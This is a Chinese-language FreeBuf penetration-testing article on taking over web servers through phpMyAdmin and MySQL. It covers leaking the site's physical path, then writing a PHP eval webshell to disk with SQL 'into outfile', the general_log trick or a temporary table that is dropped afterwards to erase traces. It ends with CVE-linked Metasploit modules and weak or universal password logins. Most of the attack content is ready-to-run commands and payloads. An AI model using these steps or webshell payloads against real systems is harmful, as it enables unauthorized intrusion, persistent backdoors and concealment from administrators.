此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell

物理路径

查询数据库存储路径来推测网站物理路径,也可以通过log变量得到

 select @@datadir;

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件

 # Windows
 c:\windows\php.ini                             # php配置文件
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS虚拟主机配置文件
  # Linux
 /etc/php.ini                                   # php配置文件
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache配置文件
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.abc.com/index.php?id=1

错误参数值爆路径:尝试将要提交的参数值改成错误值。

www.abc.com/index.php?id=-1

Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.abc.com/bg.jpg/x.php

Google爆路径

 site:xxx.com warning
 site:xxx.com “fatal error”

测试文件爆路径

 www.xxx.com/test.php
 www.xxx.com/ceshi.php
 www.xxx.com/info.php
 www.xxx.com/phpinfo.php
 www.xxx.com/php_info.php
 www.xxx.com/1.php

其它

 phpMyAdmin/libraries/selectlang.lib.php 
 phpMyAdmin/darkblueorange/layout.inc.php
 phpmyadmin/themes/darkblue_orange/layout.inc.php
 phpMyAdmin/index.php?lang[]=1
 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
 /phpmyadmin/libraries/lect_lang.lib.php
  /phpMyAdmin/phpinfo.php
 /phpmyadmin/themes/darkblue_orange/layout.inc.php
 /phpmyadmin/libraries/select_lang.lib.php
 /phpmyadmin/libraries/mcrypt.lib.php

其它信息

phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息

也可以通过SQL查询得到其它信息

 select version();  -- 查看数据库版本
 select @@datadir;  -- 查看数据库存储路径
 show VARIABLES like '%char%';  -- 查看系统变量

GetShell

前提条件

网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell

读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

 select @@secure_file_priv   -- 查询secure_file_priv
 -- secure_file_priv=NULL,禁止导入导出
 -- secure_file_priv='',不限制导入导出
 -- secure_file_priv=/path/,只能向指定目录导入导出
  select load_file('c:/phpinfo.php');        -- 读取文件
 select '123' into outfile 'c:/shell.php';  -- 写入文件

常规GetShell

直接通过SQL查询写入shell

 -- 假设物理路径为 "G:\phpStudy\WWW"
 select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

日志GetShell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量

 show variables like '%general%';
  Variable_name     Value
 general_log       OFF
 general_log_file  G:\phpStudy\MySQL\data\FengSec.log

general_log:日志保存状态

general_log_file:日志保存路径

开启日志保存并配置保存路径

 set global general_log = "ON";    -- 打开日志保存
 set global general_log_file = "G:/phpstudy/WWW/log.php";  -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接

写shell

 select '<?php eval($_POST[pwd]); ?>';

新表GetShell

进入一个数据库,新建数据表。

名字随意,这里为shell_table

字段数填1

添加字段

字段名任意,这里为xiaoma

字段类型为TEXT

在该表中点击插入,值为一句话木马

 <?php eval($_POST[pwd]); ?>'

执行SQL查询,将该表中的内容导出到指定文件

 -- 假设物理路径为 "G:\phpStudy\WWW"
 select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

删除该表,抹除痕迹

 Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行

 Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
 Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>');  -- 写入
 select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php';   -- 导出
 Drop TABLE IF EXISTS shell_table;    -- 删表

特殊版本GetShell

CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2

利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码

万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

参考:

phpmyadmin getshell之利用日志文件

mysql备份一句话

phpmyadmin getshell姿势

*本文作者:FengSec,转载请注明来自FreeBuf.COM